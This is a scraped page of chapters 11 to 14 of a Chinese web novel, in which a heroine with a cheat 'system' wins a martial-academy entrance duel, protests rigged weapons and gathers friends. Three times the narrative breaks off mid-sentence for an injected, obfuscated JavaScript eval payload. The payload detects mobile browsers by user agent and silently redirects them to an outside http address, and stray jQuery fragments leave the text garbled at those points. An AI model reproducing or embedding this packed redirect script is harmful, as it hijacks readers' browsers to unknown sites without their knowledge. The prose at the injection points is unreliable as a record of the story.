好好好,一个个都不是省油的灯。京城果然是龙虎风云地,左一个天赋异禀,右一个练武奇才。好在,我也不是普通人。 陆锦澜如此想着,默默自我安慰:我是挂才,有挂,什么都不怕。 她默默点开系统商城,她现在有两千多的生命值。强效大力丸功效只有半个小时,十个生命值才能兑换一颗。陆锦澜咬了咬牙,将数量拉到99,点击确认。瞬间失去将近一半的生命值,口袋却变得沉甸甸的。 主考官已经抽出了第一组考生,副考官在台上高声宣布:“第一个上场的是承州左隋之,对阵神京楚易舒。” 楚易舒就是昨天挑衅项如蓁的那个本地生,左隋之坐在陆锦澜身后。被点到名字的二人各自带着自己的兵器上台,锣声一响,迅速战至白热化。 陆锦澜趁机摸出大力丸,一把一把的往嘴里塞。旁边考生诧异的看过来,陆锦澜鼓着腮帮子:“看什么?我早上没吃饭。没见过拿补品当饭吃啊?” 九十九颗大力丸下肚,浑身都觉得胀胀的,像是身体里有股力量要冲出来,迫不及待要与人交手一样。 陆锦澜一看台上,楚易舒有些本事,昨天狼狈落败,是因为她挑衅的是项如蓁。今天她为了一雪前耻,有意炫技,在台上招招凶险。左隋之渐渐露出颓势,似乎撑不了多久。 砰!左隋之手里的双锏被挑飞,楚易舒的枪尖抵在她的脖子上。 噹!锣声又一响,副考官宣布:“神京楚易舒,胜。” 左隋之沮丧的拾起兵器,回到自己的位置,这次大概与皇家学院无缘了。除非后面的十八位考生都输得一塌糊涂,而且还得比她表现差。 项如蓁对她道:“你的兵器太短了,她使长枪,你用长兵器能多两分胜算。” 左隋之摇了摇头,“我从小练的就是锏,别的使不惯。她的水准远在我之上,就算我用长兵器,也顶多再坚持一刻钟,赢不了的。技不如人,我认输。” 陆锦澜刚打算说几句安慰的话,忽听台上宣布:“第二个上场的是云州陆锦澜,对阵神京晏无辛。” 啊?陆锦澜和晏无辛站在各自的位置,遥遥相望,神色复杂,这也……太巧了。 项如蓁眼底满是担忧,昨晚她们三人交过手,陆锦澜和晏无辛虽然实力相差不大,但陆锦澜的身体素质和临敌经验都差了一截,她赢不了。除非……没有除非。 晏无辛提着凤鸣长刀走上擂台,陆锦澜握着宝剑站在她对面。 二人躬身行礼,陆锦澜刚要起身,忽听晏无辛小声道:“朋友,你真让我为难。” 陆锦澜低声回:“不用为难,正常打就是了。” “切,干嘛说这种话?我又不是如蓁那个死心眼儿,可我也不能放水太明显。” “没事,我刚吃了点补品,现在强得可怕。” “让你平日偷懒,你这小身板,现在干嚼人参也没用……” 两人越说头靠得越近,台上主考官大吼一声:“说什么呢?考生不许私自交谈!” 二人立刻站直,伴随着一声锣响,只得无奈的将利刃对准对方。 前十招,双方都没有使出全力,但晏无辛已经察觉到有些不对。 陆锦澜的剑忽然使得又快又沉,剑风带着声响,十分吓人,跟昨晚轻飘飘的打法完全不一样。难道她昨晚喝醉了影响了发挥,还是故意隐藏实力?总不能真是补品起了作用吧? 她哪知道,像陆锦澜这样的挂才,最大的缺点就是没有基础。 身体机能差,力量小,导致出招力度、速度都不够,十分的剑招,她也就打出三四分的杀伤力。但强效大力丸的出现,短暂且完美的弥补了这一缺点,十分的剑招,立刻能打出七分的水准。 之前晏无辛只觉得陆锦澜招式新奇刁钻,没看出别的。现在才猛然发现,使好了招招都是精妙的杀招。她根本不需要费心想着如何放水,她现在需要想得是不要输得太快,否则别人一定认为她在放水。 晏无辛迅速调整心态,拿出十二分的精神,全力应对。 精钢筑就的凤鸣长刀和削铁如泥的宝剑在台上拼得火花四溅,陆锦澜心里却越来越焦躁。 她感觉,晏无辛在放水。不然怎么这么慢?出手也太轻了,不应该啊。 她意识不到是自己突然变得太快,才显得别人变慢。还以为晏无辛有意为之,于是更加用力,想逼迫她拿出真本事应对。 两人又对打了二十招,晏无辛真的要冤死了,脸上身上汗都出来了,陆锦澜还越打越凶。这么下去,她都怕自己一不留神被陆锦澜一剑刺死,简直急得想骂人。 晏无辛咬牙战至四十六招,陆锦澜的宝剑划向她握着的长柄,晏无辛连忙松手,凤鸣长刀在空中打了个转,被陆锦澜一个倒钩踢到擂台后侧的石墙缝里。 “哇!”台下屏息的人群发出一声惊呼,晏无辛也悄悄松了口气,擦了擦汗准备下场。 她眼看着副考官举起锣槌,马上就要敲锣宣布结果了,主考官却忽然抬手,示意副考官不要敲锣。 一时间,所有人都愣住了。 陆锦澜握着刀,茫然的看向主考官,“我已经击飞了她的兵器,还不算赢吗?” 主考官是皇家学院院长凌知序,她素来以严厉中正著称,此刻冷声道:“你们既然认识,难免有作假之嫌。陆同学,没有拼尽全力的胜利不能服众,拿出你的真本事来。” 陆锦澜疑惑的看向晏无辛,“你放水了吗?” 晏无辛喘着粗气,摸了一把脖子后面,给她看一手的汗,“冤枉,我都汗流浃背了。” 晏无辛举着汗淋淋的手看向主考官,“院长,我们认识不假,但学生也拼尽全力了,难道非要她把我打死才算吗?” 凌知序答:“如果她真的要把你打死,我会及时叫停的。” “好。”陆锦澜算看出来了,这群人看热闹不嫌事大。她用心打不行,还得打出杀意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220240|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否则这些人不相信她真有本事。 虽然说她的本事不那么真,但按照规则已经该判她赢了。陆锦澜在擂台上踱了几步,估摸着大力丸的效果大概还有不到十分钟,她很快有了一个新的思路。 她眼神一变,手腕晃动着长剑,沉声道:“晏同学,对不起了。” 晏无辛眼里闪过一丝慌张,“你什么意思?” 陆锦澜提着剑大步上前,晏无辛看着她狠戾的目光连连后退,“哎,我手无寸铁,你不能这么对朋友啊。院长,院长救命!” 晏无辛转身就要往擂台外跑,陆锦澜大喊一声:“没分输赢不许走!” 她飞速上前,在边缘处揪住晏无辛的后脖领,一下将她抡回场内。 晏无辛连退十几步,直到脚跟抵住身后的柱子,方才停下。 众人都震惊于陆锦澜的力量之大,不约而同的深吸一口气,都替晏无辛紧张起来。此刻的晏无辛看起来慌不择路,她看了看身后的柱子,手脚并用的往上爬。 擂台四周共有四个大柱子,每根都有水桶粗细。晏无辛爬上去,陆锦澜也提着剑蹬上去。 阳光浓烈,众人仰起头眯着眼,只见晏无辛藏在柱后奋力躲避,而陆锦澜剑光凛凛,似招招不留情,剑刃刮在柱子上,巴掌大的木块噼里啪啦往下掉。 这根柱子离考官席最近,落下的木块掉在桌面上,顿时引起一片慌乱。 凌知序稳坐当中,面不改色凝眉细看,陆锦澜招招凶猛,把剑使得跟斧头一样。 可纵然是斧头,脚不沾地身体悬空,只有一条腿勾着柱子,也极难发力,这丫头看着平平无奇,哪来这么大的劲儿? 嗖嗖!陆锦澜追着晏无辛狠踹了几脚,七八个木块飞向考官席。一位考官躲闪不及,一下子被砸晕了过去。 与此同时围观的人群忽然大叫一声,凌知序抬头一看,晏无辛为了躲剑,一个后仰险些跌下来。幸亏她双腿迅速勾住柱子,倒挂着在半空中晃晃悠悠命悬一线。 众人看得心惊胆战,上面又传来嘎巴一声,陆锦澜一个扫腿,面案那么大的木头飞下来,砸到了考官席,把桌上的什么茶杯笔墨全砸得稀碎。砚台飞出去,泼了凌知序一身的墨,连脸上都沾上了墨汁。 几名副考官仓惶退后,声音发抖的提醒:“院长,您快看!” 晏无辛似乎支持不住,整个人迅速下坠。陆锦澜剑尖向下,也跟着滑下来。 凌知序吓得高声大喊:“快敲锣!” 这时人们才注意到,刚刚被砸晕的那位副主考,就是负责敲锣的,她是握着锣槌被抬下去的。当时情况慌乱,无人注意。现在情况更乱,凌知序只好抓起桌上的木块,朝着挂在正中的铜锣掷了出去。 噹!锣声终于响起,所有考官、考生、围观的人群,早就紧张得站了起来。 大家心里都在暗道不妙,锣声太晚了。 人们都知道一个常识,半空中的人是没办法暂停的。 12. 第 12 章 即使锣声响起,二人依然无法控制的急速下落。 千钧一发之际,剑尖却比人先落地。陆锦澜借着剑上弹起的力道,抱住晏无辛用力一翻,两人趔趄几步,终于稳稳站在台上。 数万人的广场出奇的安静,却在一刹那之后爆发出震耳欲聋的声响。 凌知序轻舒一口气,当众宣布:“云州陆锦澜,胜!” 陆锦澜貌似镇定的回到座位上,感激的看向对面的晏无辛。 其实她把晏无辛抡回场上的时候,低声说了一句:“围着柱子打。” 晏无辛顺水推舟,陆锦澜把她抡到柱子旁边,她就转身爬上了柱子。 观赛视角是逆光的,柱子有七八米高,下面本来就看不真切,陆锦澜又故意砍了些木块下来干扰众人的视线,看似她在全力追杀晏无辛,其实是表演赛,当然不是真要她命。 陆锦澜想院长之所以不判她赢,就是因为她俩前面打得太客气了,这回二人换了刺激的打法,全是高难度动作。 陆锦澜有意展示惊人的力量,在柱子顶端七坎八砍的砍了一圈,然后使出全力踢了一脚,这才能踢掉水桶粗的一截圆木,震惊全场。 此刻药效过了,她浑身像泄了气一样,冒着虚汗,脚背隐隐作痛。 凌知序弄了一脸一身的墨汁,下去处理了。主考官一走,考生们明显松弛了不少,开始交头接耳。 台上已经换了新的考生上场,场下观众刚刚看完了一出好戏,过足了眼瘾,都在迫不及待的讨论观后感,台上那两个人偏又打得稀松平常,吸引不了大家的注意力。现场都在闲聊,比茶馆还热闹。 附近的人都在找陆锦澜说话,她瞬间成了热门人物。 “恭喜啊陆同学,今年的录取名额必定有你一个。” “陆同学,你的剑法跟我所知的各门各派都不像,不知你是在哪学的?” “我刚在《文考试卷合集》里看到了你的文章,策论写得好,诗也做得好。那首《春江花月夜》堪称一绝,可还有别的诗作吗?” 陆锦澜应接不暇,只好道:“等考试结束,咱们慢慢聊。” 她脚痛得厉害,悄悄脱了鞋,盘起一条腿按揉自己的脚背。 项如蓁凑近些,低声道:“你现在是风云人物,不论今日结果如何,日后人们说起这场盛事,一定会提到你的名字。你得注意你的言行举止,给同学们做个表率。” 陆锦澜无奈:“可我脚疼。” “忍一忍。”项如蓁捡起鞋给她穿回去,却也忍不住好奇的问:“你是怎么做到的?我自负天生神力,可那么粗的柱子,我绝不可能把它踢断。” 陆锦澜尴尬一笑,“偶然事件,你现在让我踢,我脚断了树都不会断。” 说话间,台上已经分出了胜负,外地考生赢。晏无辛说得没错,她和楚易舒是神京本地生中最能打的。余下的,水准大概和左隋之差不多,有的还不如左隋之。 陆锦澜同情的看了左隋之一眼,这坑娘的匹配机制。 菜鸡互啄,基本都坚持不了多久。一个时辰过去,十组考生比完,全是外地考生赢。 加上陆锦澜,已经够十一人了。后面的考生要想拿到录取名额,不仅要取得胜利,还得展示出大幅度碾压的实力,才能挤掉前面的胜者。 项如蓁的脸色越来越紧张,陆锦澜握着她的手,温声安抚:“不用担心,她们都不是你的对手。等你上了台,一定要把你的力量展示出来,考官们会看到的。” 项如蓁微微点头,台上终于点到了她的名字:“勉州项如蓁,对阵神京凌照人。” 陆锦澜猛地瞪大了眼睛,怎么这么巧? 她焦急的望向对面的晏无辛,晏无辛满脸愕然的摇了摇头,无奈的摊手。 项如蓁倒是神色自若,空手走上擂台,在兵器架上抽出她昨天试的那杆铁枪,从容应战。 凌照人还未登台,先把手里的坤乾游龙戟掷于台上,待戟尖插入台面,她便一个飞身跃到台上,先声夺人的博得了喝彩。 凌照人一身缎面红衣,项如蓁一身粗布黑衣,二人相对而立,一红一黑格外显眼。 锣声一响,二人犹如离弦的利箭,直朝对方扑了上去。铁枪和游龙戟瞬间战到一起,金属摩擦碰撞,发出刺耳的声响。 二人练的都是硬功,力求刚猛。一动起来,身上的衣料都在风中作响。恰逢此时风声呼啸,衣袂翻飞,两个人打出了千军万马的气势。 陆锦澜紧张的观战,左隋之碰了碰她肩膀:“依你看,谁的胜算更大?” 陆锦澜道:“凌照人招式老道,如蓁力量十足,一时看不出胜负,但我对如蓁有信心。” 话音刚落,就听噹一声脆响。 凌照人向下直劈,项如蓁举枪格挡,可她手中的铁枪突然从中断裂,折为两半。 “啊!”众人不由大声惊呼,这是不可能的事情。 虽然有的兵器可以削铁如泥,可铁枪刚刚接触到的位置是戟杆,又没有刃,怎么会断? 陆锦澜眉头紧皱,一个令她毛骨悚然的想法冒了出来,喃喃道:“兵器有问题,有人做了手脚。” “不可能吧?”身边的考生都不太相信,“这可是全国瞩目的大考,谁敢动手脚?” 兵器骤然损坏,凌照人却并没有停手,项如蓁只好一手执枪头一手执枪杆,一边防守一边后退。 凌照人加紧猛攻,到了兵器架附近,项如蓁立刻抽出一根木棍,反守为攻。 可不出三招,木棍啪一声,又断成了两截。 陆锦澜忍不住了,她站起来抗议:“兵器有问题!” 她早该想到的,如蓁是她们这些外地考生中功夫最强的,昨天露了几手,今天就巧合的匹配到凌照人这样一等一的高手。 别人都是自备兵器,只有如蓁会用考场提供的兵器。偏偏昨天的兵器还好好地,今天不论铁的木的,说断就断,这不是太奇怪了吗? 还有,如果如蓁提前出场,只要取胜即可。偏偏在外地生胜了十一场之后,安排她登场。给她安排最差的出场顺序、最强的对手、最烂的兵器,简直他爹的巧到家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220241|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “兵器有问题!” 说话间,项如蓁手中的长矛也折断了。可凌照人根本没有停下的意思,项如蓁只得围绕着兵器架不停地躲闪。 这下连刚刚否认陆锦澜的考生都反应过来了,外地考生齐声大喊:“兵器有问题!兵器有问题!” 副考官拍案道:“大声喧哗扰乱考场者,取消录取资格。” 身边人顿时噤声,陆锦澜怒道:“凭什么?长眼睛的都能看出来,兵器被人做了手脚,为什么不让人说?” 那考官大声斥道:“陆锦澜,别以为你胜了,就可以胡作非为胡说八道,皇家学院不差你一个学生。” 陆锦澜不由冷笑,“一个连公平选拔都做不到的学院,名声再大,也是华而不实的藏污纳垢之地,有什么稀罕?今天不管你怎么威胁我,我也要说。” 不仅要说,她还要让所有人都听见。 陆锦澜怒火中烧,连脚都感觉不到痛了,她跳到凳子上,朝着围观的数万人大声宣讲:“诸位,大家今日亲眼所见,光天化日朗朗坤乾,学院选拔大搞暗箱操作,毫无公平可言。” 副考官大怒:“来人,把陆锦澜叉出去!” 陆锦澜转身一看一群神京本地生朝她跑了过来,晏无辛犹豫了一下,扭头往另一个方向跑了,她身边只有左隋之拉着几个外地生挡在身前。 项如蓁拿着破烂的兵器还在硬撑,陆锦澜也顾不得了,指着台上痛骂:“凌照人,你趁人之危算什么好娘们儿?你勉强赢了项如蓁,也不算光明磊落。” 凌照人忍不住怒道:“胜者为王败者贼,什么磊落不磊落,要你啰嗦?” “你承认了?大家都听见了,你们一定要将今日的所见所闻传扬出去。皇家学院就是个欺世盗名的破地方。比不过就使阴招,这算什么?凌照人,你胜之不武,你手里的游龙戟都不如男人手里的绣花针。绣花针还能绣花,你只会欺负人。” 这会儿,过来抓她的本地生已经和身边的外地生交上手了。其中不少是刚在台上对打过的,输了的正好怨气未了,过来撒气。 有的外地生本来不想掺和,可是两拨人混在一起,稀里糊涂就撕打上了。拳脚不长眼,大家又都年轻气盛,不相干的人挨了一下,干脆也撸袖子上了。 场面乱到这个程度,陆锦澜豁出去了,嘴里全是煽动性语言,存心要往大了闹。她拼着这破学不上了,也要让凌照人和皇家学院名声扫地。 “什么皇家学院?我看是凌家学院,连男学都不如!” 话音刚落,忽听远处传来一声声若洪钟的断喝:“谁说皇家学院连男学都不如?” 那声音带着十足的威严压迫感拉满,堪比屠宰场喧闹的场子瞬间安静下来,齐刷刷送目过去。 只见凌知序顶着半张被墨染黑的脸大步入场,晏无辛跟在她身后。 见台上还在打,晏无辛急道:“凌照人!院长来了,你还不住手?” 台上两人顿了一下,项如蓁丢掉手中的半截长刀,刚转过身,陆锦澜和晏无辛同时大喊:“小心!” 13. 第 13 章 项如蓁余光瞥到地上的影子,连忙侧身一躲,虽然避开重要部位,可锋利的游龙戟还是在她的手臂上划开一条半尺长的口子,鲜血顿时涌了出来。 噹!锣声恰好响起。凌照人一脸得色,理直气壮道:“锣声刚响,我还以为你要使诈呢。” “你给我住口!”凌知序半脸铁青半脸乌黑,“谁来告诉我,到底发生了什么事?” 陆锦澜拱手道:“是这么回事……” “你也给我住口!”凌知序怒道:“你带头闹事,口出狂言,我不听你的一面之词。” 陆锦澜偷偷翻了个白眼,心说:那你随便。 副考官忙道:“请院长听下官一言。” 凌知序垂眸侧目,不满道:“你坐镇考场却把这里搞得一团乱,你的一言就不是一面之词了吗?” 副考官低下头不敢言语,学生中忽走出一人,朗声道:“院长,我可以客观的陈诉事情经过。” 凌知序微微抬眉,“凭什么信你?” 那人恭敬道:“学生左隋之,首阵落败,已经无缘录取。台上是输是赢,都和我没有关系。我昨日才到京城,和大家都不认识,冲突双方与我不相干,我没有任何偏私的理由。再者,在场除了考生考官,还有数万百姓。我若胡说,您回头随便找几个人核对一下,便知真伪。” 凌知序端坐在椅子上,招了招手,“左隋之上前回话。” 趁着这个空档,陆锦澜和晏无辛急忙跳上台,给项如蓁包扎伤口。 晏无辛看着那条长长的口子,眉头紧皱,“伤成这样,你还撑得住吗?” 项如蓁面色惨白的一笑,“我有撑不住的权利吗?” 陆锦澜鼻酸道:“别再说这种话了,什么都没有命重要。这个破学院,到底有什么好的,值得你拼死拼活?输赢有那么重要吗?” 项如蓁看着二人担忧的面孔,眼眶渐渐泛红,“是啊,这暗箱操作的破学院到底有什么好的?” 她笑着看向陆锦澜,“你刚刚说的话我都听见了,我知道,这个地方并没有我想象的那么美好。输赢对我来说,很重要。输给凌照人那样的卑鄙小人,我实在不服。可是,这其实都不是我最在意的。” “你们顶着极大的压力为我发声,这样的福分是卑鄙小人一辈子都无法拥有的。你们不顾一切坚定的站在我这边,让我觉得我已经赢了。” 她握住陆锦澜和晏无辛的手,“这破学院是没什么好的,可我一想到我的两个朋友在这儿,这儿就成了我最想留下的地方。我向来孤僻,是个无趣又呆板的人,没有人和我交朋友。可是现在,我们算是朋友了,对吗?” 晏无辛揉了揉酸胀的眼睛,笑着调侃:“我还以为我们昨晚就是朋友了。” 陆锦澜噗嗤一笑,“昨晚都大被同眠睡了一晚了,还说这些?我们当然是朋友,不然还能是什么?” 项如蓁笑着点头,“好,你们冒着风险为我争取公平,不就是希望我能留下来吗?我不会让你们白费功夫的,我现在比之前任何时候都更想留在这儿。” 项如蓁的目光瞥向学院门口高大的门头,“这也许是一个有问题的地方,但我们留在这儿,就有解决问题的希望。我们都走了,什么时候能够解决问题?又指望谁来解决问题?如果下一个项如蓁出现,她会那么幸运,遇到下一个陆锦澜和晏无辛吗?” 二人顺着她的目光看过去,一时无言。 凌知序已经听完了左隋之的陈述,对众人高声道:“兵器问题,学院后续会调查。现在,考试继续。项如蓁,你还能不能上场?” 项如蓁起身,笃定的回答:“可以。” “你有其他兵器吗?” “没有。” “用我的。”陆锦澜和晏无辛同时开口。 “还是用我的吧,长兵器你会更好打一些。”晏无辛将凤鸣长刀交到项如蓁的手上。 凌照人一脸得意的回到了台上,陆锦澜和晏无辛还站在项如蓁旁边,看着她手臂上的伤口,迟疑着不肯下场。 项如蓁看着二人担忧的神情笑了笑,“不用担心,你们忘了,我是猎户。血,是猎人的五石散。你们下去,看我轻取这一局。” 陆锦澜和晏无辛回到台下,由于刚刚发生了骚乱,有的考生已经鼻青脸肿。教工也懒得维持秩序了,大家随便混坐,没人管。 两人紧挨着坐下,对视一眼,表情都不轻松。 她们相信项如蓁能赢,但绝对无法轻取。凌照人这个狗东西,实力不可小觑,如蓁还负了伤。此消彼长,这一仗没那么好打。 锣声再次响起,台上的争斗迅速进入到焦土化状态。两人再度交手,眼里都是你死我活的杀意。 现场的气氛陡然变得紧张,因为大家都意识到这是性命攸关的生死局。 台上打得如火如荼,台下的人都不由得暗暗心惊。 “幸好我没有遇上这二人,否则恐怕连家都回不去了。” “这招太过凶险,换我已经成了刀下亡魂了。” “你这招才死?换我前面那招就死掉了。” 陆锦澜听着身边人的低语,越发不安。项如蓁大开大合的打法,将力道运用到了极致,丝毫不顾及身上的伤口。止血的药散早就失效,手臂上的白布被迅速染成鲜红。 陆锦澜万分后悔,不该一时冲动兑换了九十九颗大力丸,一下子把今天的兑换量消耗完,现在想急着兑点止血药止疼药,都得等明天。 凌照人也注意到了项如蓁的手臂一直在流血,她不断攻击她的右臂,看着白布变成红布,看着鲜血染红她的整只袖子,看着血珠从她的上臂流到手背,再滴落到台上。 起初凌照人觉得这是她取胜的希望,就算不能立即分出胜负,但耗下去,流干的是项如蓁的血。但渐渐地,她感到前所未有的恐惧。 当她们近距离交手时,浓烈的血腥味渗入鼻尖,打在她身上的力道一招重过一招,凌照人开始觉得毛骨悚然。 这是人吗?人,怎么会感觉不到疼痛?怎么会丝毫没有对死亡的恐惧?她在想什么?她疯了吗? 与项如蓁交手,让凌照人感到窒息的不是她异于常人的力量,而是另一种说不定道不明看不见的东西,那种东西坚定、强大、压迫感十足的笼罩着她,让她透不过气。 砰!凌照人手中的游龙戟骤然被击飞,凤鸣长刀直抵喉管。当冰冷的利刃贴在她的颈脉上,凌照人不由自主的闭上了眼睛。 太快了,一切都在刹那发生。 闭眼的瞬间,她听到有人惊慌的喊快敲锣,但她知道来不及。压着锣声抹了她的脖子,也不用承担罪责。如果是她,她一定这么做。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220242|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,项如蓁不是她。 长刀在颈上留下一丝细微的划痕,紧接着手臂一阵剧痛。项如蓁压着锣声,在她的手臂上挑了一道长长的口子,和她受伤的位置一模一样。 全场深吸一口气,凌知序站起来,缓了口气,高声宣布:“勉州项如蓁,胜。” 都说人在成功的那刻会觉得晕眩,项如蓁则是极度清醒的走下台,回到椅子上继续观看选拔。然后在大家都以为她没事的时候,突然晕了过去。 再醒来她发现自己躺在医药坊里,衣衫已经被全部换过,伤口重新包扎,床头还放着一碗参茶。 她刚刚坐起来,一位面目沉稳的中年女子掀开帘子从外面进来,轻声道:“项少娘果然年轻力壮,流了那么多血,只昏睡了一个时辰便醒了。来,先喝口参茶润润喉咙。人参阿胶粥已经熬好,我这就让人拿进来。” 人参阿胶粥?项如蓁忙道:“那要多少钱?我还是不要了。” 女人笑道:“少娘说笑了,都是咱自家的东西,不要钱。” 女人转身出去,不一会儿一个眉眼清俊的男仆进来伺候,项如蓁略一打听,才知道这儿与皇家书院只隔着一条街。 这叫久安堂,全国知名的医药坊老字号。既卖药也行医,在京城就有十几家铺面。这家是京城总店,刚才那位是久安堂的总掌柜平希玉。 项如蓁端着粥,不解道:“我与平掌柜素不相识,她为何说这是自家的东西?” 男仆轻声笑道:“因为久安堂的东主是我家家主,我家家主是云州首富陆今朝,我家少主就是您的好朋友陆锦澜,可不都是自家人吗?” 陆今朝?项如蓁生在偏僻的勉州,也知道这个名字。陆家产业遍布各行各业,富甲一方,谁人不知? 只不过陆是云州的大姓,陆锦澜虽来自云州,身上却毫无富家女儿的骄矜做派,她这才没有过多联想。没想到,她竟真是陆今朝的女儿。 项如蓁忙问:“那你叫什么名字?” “我叫庆儿,跟着少主从云州来的,少主特意叮嘱我好好照顾您。” 原来昨天陆锦澜去了晏无辛那边,就让洗墨和庆儿自己回客栈。两人一合计,直接跑到久安堂来跟平掌柜说明情况。 少主考试是件大事,平掌柜立即安排她们在店里住下,第二天一大早带上她们二人和几名医工一同到考场内占位置。结果事有不巧,她们虽然占到了前排观看的位置,却是离陆锦澜最远的方向,中间隔着个擂台,一句话都说不上。 当时四处人挤人,平希玉几次想办法挪动,都没能成功。后来看着陆锦澜取胜,也就放下心,想着散场再去会面。结果没一会突然看见陆锦澜站起来煽动全场,那片乱得打起来了。 平希玉吓得带着一群人拼命往那个方向挤,中间不知道和人吵了多少次。她们这个小分队在密集的人群中绕了半场,比台上的人都累,挤得浑身是汗。本来快要放弃了,又听见陆锦澜跳到椅子上喊:“有没有医师?这有人晕倒了。” 平希玉忙高声应道:“医师在这儿!” 可下给她找到机会了,这会儿群众也颇为识趣,纷纷给她们让路。平希玉好不容易冲过去,一把拉住陆锦澜的手,激动得说不出话。 陆锦澜上次见她还是在云州,一时没认出来,尴尬的指着晕倒的项如蓁说:“伤者在那边。” 14. 第 14 章 “少主!可见着您了。小的平希玉,拜见少主。” 陆锦澜这才认出她,连忙把她搀扶起来。 平希玉哽咽道:“云州一别,我一直挂念着您,您刚刚伤着没有?您若是有个好歹,我可没法和老东主交代。” 陆锦澜忙道:“我没事,我这位朋友受了伤,你快给她诊治一下。” 平希玉简单切了下脉,看了看伤口,“还好伤口不严重,只是失血过多,补补气血修养一下就好。咱家医药坊就在一条街外,我这就将人带回去照顾。” 陆锦澜本来也要跟着退场,平希玉劝她,“今日场上发生这么多状况,少主还是留在这儿比较好,以免生变。” 就这么着,项如蓁被平希玉一行人带到了久安堂。项如蓁醒来休息一会儿,感觉身体已无大碍,还是决定再去考场看看。 平希玉自然不放心,带着洗墨、庆儿一起跟过去。 四人到的时候已经考完了,正赶上散场。人乌乌泱泱的往外走,四人逆着人流找人仿佛大海捞针,四脸茫然。 “勉州项如蓁,你伤得不重吧?” 人群中有位大姐叫了她一声,项如蓁看过去,发现压根不认识这人,估计就是围观看热闹的,记住她的名字了。 项如蓁忙拱了拱手,“多谢关怀,已经没事了。” 洗墨抱着试一试的态度,问道:“您看见陆锦澜了吗?” 大姐热心道:“当然看见了,她包了那边的凉茶摊子,正在那儿请人喝凉茶呢。” 四人一听连连道谢,急忙找过去。 其实今天闹了这么一场,陆锦澜想着,应该请各位出手相助的外地考生吃顿饭。但一想到项如蓁受了伤,也没心情张罗,可什么也不做,又显得失礼。 她和晏无辛一合计,晏无辛道:“一会散场先和大家打个招呼,中午便算了。下午看了榜,有了定数,我来请客安排。” 陆锦澜笑道:“我闹的事,怎么也轮不到你请。” 晏无辛眼里闪过一丝心虚,“我有我要请客的理由,回头再跟你说,反正我来安排。” 晏无辛在京郊有个专供游玩的庄子,据她自己说是景色宜人,那里也有人伺候,她一会就派叶游先过去准备。下午大家看了榜,便一同到庄子里去游玩几日。 陆锦澜笑了笑,一想也好,自己毕竟不是本地人,一时招待十几个同学,也不知能够安排妥当。 于是散场后,二人便把这些外地考生叫住。烈日下苦坐了一上午,大家都是口干舌燥累极了。 陆锦澜包了个凉茶摊子,一边请大家喝茶,一边说些感谢的话。 “今日多亏众位英雌出手帮忙,在下感激不尽。论理,这就该安排酒席,可如蓁还不知道怎么样,我和无辛要先过去看看。大家一会儿回去收拾好包袱,等下午看过榜,咱们一起到无辛的庄子上,开怀畅饮,玩乐几日,如何?” 见众人有些犹豫,晏无辛忙道:“我那庄子上没有长辈,地方也宽敞,各位到了那儿就和自己家一样。吃的住的,我全包了。各位若愿意游玩神京,我便着人安排。 咱们做不做同窗不要紧,认识就是缘分。今日大家仗义出手,一同抗议不公,足见大家都是同道中人英雌豪杰。你们帮锦澜帮如蓁就是帮我,晏某愿意结交各位,还请赏光。” 话说到这个地步,众人见她二人是真心招待,都道:“那就麻烦两位了,放榜时见。” 她们刚走,项如蓁、平希玉等人找了过来。见到项如蓁没事,二人十分高兴,平希玉忙道:“少主是否要宴请那些外地考生?不妨交给我来安排。” 陆锦澜把她和晏无辛的计划说了一下,平希玉赞许道:“如此甚好。我家少主初到京城,身边能有晏少娘、项少娘这样重情重义的朋友相伴,老东主身在云州也会感到心安。我已在望月楼订下酒席,请少主和两位少娘移步。” 陆锦澜在云州时就听她娘提起过平希玉,陆今朝说平希玉本来是穷苦人家的女儿。陆今朝认识她的时候,她还是个十来岁的小孩儿,没读几年书人却格外机灵。 那时平希玉和母亲在路边支起一个小茶摊维持生计,陆今朝偶然路过,急着写封信,便在她们的茶摊要了杯茶,坐下写信。 粗茶难喝,不是富人习惯的味道。陆今朝尝了一口,便顺手将茶水用来洗笔。旁边几位茶客瞧见,立刻发出了不悦的啧啧声。 平希玉打量着这位衣着华贵的客人,温声上前:“客官,这茶碗是给人入口的。” 陆今朝彼时年轻气盛,态度颇为傲慢,取出一锭银子,“我是云州的陆今朝,这个当是买下这只茶碗的。” 平希玉一点也不生气,还笑吟吟高声对众人道:“云州陆今朝,买下茶碗一只。” 她转身又问陆今朝,“这茶碗您不带走吧?” 陆今朝摇了摇头,她又道:“那我摔碎了,放在案上摆着,行吗?” 陆今朝好奇,“为什么?” 